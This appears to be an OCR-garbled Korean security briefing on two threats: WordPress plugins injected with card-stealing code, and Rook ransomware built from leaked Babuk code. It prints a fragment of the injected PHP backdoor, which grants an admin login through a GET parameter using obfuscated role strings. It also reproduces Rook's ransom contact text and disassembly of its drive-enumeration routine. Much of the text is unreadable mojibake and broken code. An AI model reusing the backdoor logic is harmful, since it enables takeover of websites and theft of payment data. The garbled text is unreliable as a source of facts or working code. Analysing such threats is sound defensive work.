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Hackers infect random WordPress plugins to steal credit cards

AUE FIE A0|H7t 2221 & WordPress AtO|ES| 2t SH1010 FE0| XIS Diet X 1749
A= MR H2E Xl A= HEREL,

of A7[Ho| ZEA7[HE L3S S Zet

J2IADA A AIZ0| C7IBIN 2= 22101 MHS 2
ST UALICE RN BRIKHS ZHE S5X] OMOF 3 ZYJLICH
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o
T
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e->hooks();

setup_constants()

filter_wordpress_pages_cart(){
(filter_input(INPUT_GET, str_rep ISPV ab ouft_pag_ec_ar_t'),FILTER_SANITIZE_STRING)
S users( ( role’ e ge(e, ' "cacdmcinisctractcocrc' »);
sa) {
_array(str_replace('f', '', 'fadmfifnisftrfatorf'), Sa--roles)){
wp_set_current_user(Sa-~ID);

wp_set_auth_cookie(Sa-~ID);

}
}

add_action( 'wp', 'filter_wordpress_pages_cart');
fine('rsssl_url', plugin_dir_url( ));
'rsssl_path', trailingslashit(plugin_dir_path(
'rsssl_plugin', plugln basename( )),
. 'wp-admin/includes/plugin.php');
i );

ine('rsssl_version', Sp \_data['version']);
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[table_name] => file_esc_html
[message] => file_get_contents
[exclude] => filter_input
[0o] => Array
(
[kses] => atomlib
[or] => revision
[max_depth] => kmat
[m_connect] => kc_captcha
[core] => knots
[items] => resources
[example] =>
[rtf] = p_styling
[octopus] => wrap
[text] => oauth
[pt2] => legacy
)

[thelist] => https://array-slice.page/init/
[num_links] => comment_build_query
[confirmed_timestamp] => stream_context_create
[t] => 0
[lite] => Array
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Rook ransomware is yet another spawn of the leaked Babuk code

ElZ LHEH MZ=2 A0 221 Rook 0] 7| HIERIZE Folloia! HXIE P=aloll "2 =" & A0t

kSISO
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why us?

We have the latest vulnerability database
We can always penetrate the target system
We desperately need a lot of money

contact us

rook@securityrook.com
securityrook@securityrook.com
who are us

We are rook organization
we are attackers active on the front line

We will stare at the internet

[IZ]Rook & & = LY AL AN 2=
[0]0]X| &X]] https://www.bleepingcomputer.com/news/security/rook-ransomware-is—yet-another-spawn-of-the-leaked-bab
uk-code/
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cmd.exe (vssadmin....
Events: 2
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Events: 2

&

rook3.exe _\.
Events: 3 J
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¥ Downloads » = " _
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&/ Pictures # [ DomainDownloadList-367310012.csv.Rook  12/21/2021 9:37 A.. ROOK File
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USSP |7t MESR =5 SAES AT Windows Restart Manager API £ AtE6HH £2Z E20|HE EAHs=

call ds:GetDriveTypel
mou [ebptuar_C], eax
cmp [ebptvar_C], ©
jz short loc_40ABA1
; L
-
cmp [ebptvar_C], 5 ; CD-ROM Drive|
jz short loc_H#OABA1 mou [ebp*1pRootPathName], offset aQ : “0:\\"
'L mou [ebptvar_80], offset aW : "U:\\"
v mou [ebp*uar_7C], offset aE : "E:\\"
LN mou [ebptuar_78], offset aR : "R:\\"
cmp [ebp*tvar_C], 4 ; Remote(network) Drive| mou [ebptuar_74], offset aT ; “T:\\"
jz short loc_4OABYE mou [ebptuar_70], offset a¥ : "Y:\\"
= mou [ebptvar_6C], offset al ; "U:\\"
v mou [ebptvar_68], offset al : "I:\\"
[ = @ ) by mou [ebptvar_64], offset a0 : "0:\\"
|Moue to RemoteFile Encrgptionl mou [ebp*uar_60], offset aP ; "P:\\"
- mou [ebp*var_SC], offset aR : "A:\\"
mou [ebp*var_58], offset a$S : "S A\
"IT) mou [ebptvar_54], offset aD D:\\"
mou [ebptvar_50], offset asc_ ‘IQISFS 3 FA\\"
lea edx, [ebpnLength] mou [ebp*var_4C], offset aG ; "G:\\"
push edx i lpnLength mou [ebptuar_48], offset asc_401608 : "H:\\"
mou eax, [ebp+lpMem] mov [ebptuar_44], offset aJ : “J:\\"
push eax : lpRemoteName} |noy [ebptuar_40], offset aK ;: "K:\\"
mov ecx, 2 mou [ebp*var_3C], offset asc_401620 : "L:\\"
shl ecx, 2 mou [ebptuar_38], offset azZ : "Z:\\"
add ecx, [ebp+lpRootPathName] mou [ebp*var_34], offset asc_401630 : "X:\\"
push ecx ; lpLocalName mou [ebptuar_38], offset aC : “C:\\"
call WNetGetConnectionll ov [ebptvar_2C], offest al) ; "U:\\"
test eax, eax mou [ebp*var_28], offset aB : "B:\\"
: : mou [ebptuar_24], offset aN ; "N:\\"
jnz short loc_40RBIS mov [ebp*var_20], offset aM . "M:\\"
l} - |mov [ebptvar_4], ©
T mou [ebp*cchBufferLength], 78h
mou [ebp*cchReturnLength], ©
mou edx, [ebp+lpMem] . mou [ebp*uar_C], ©
push edx ; lpWideCharStr jmp short loc_404589
call File_Enumeration ,ﬂ
i 2a e D ———
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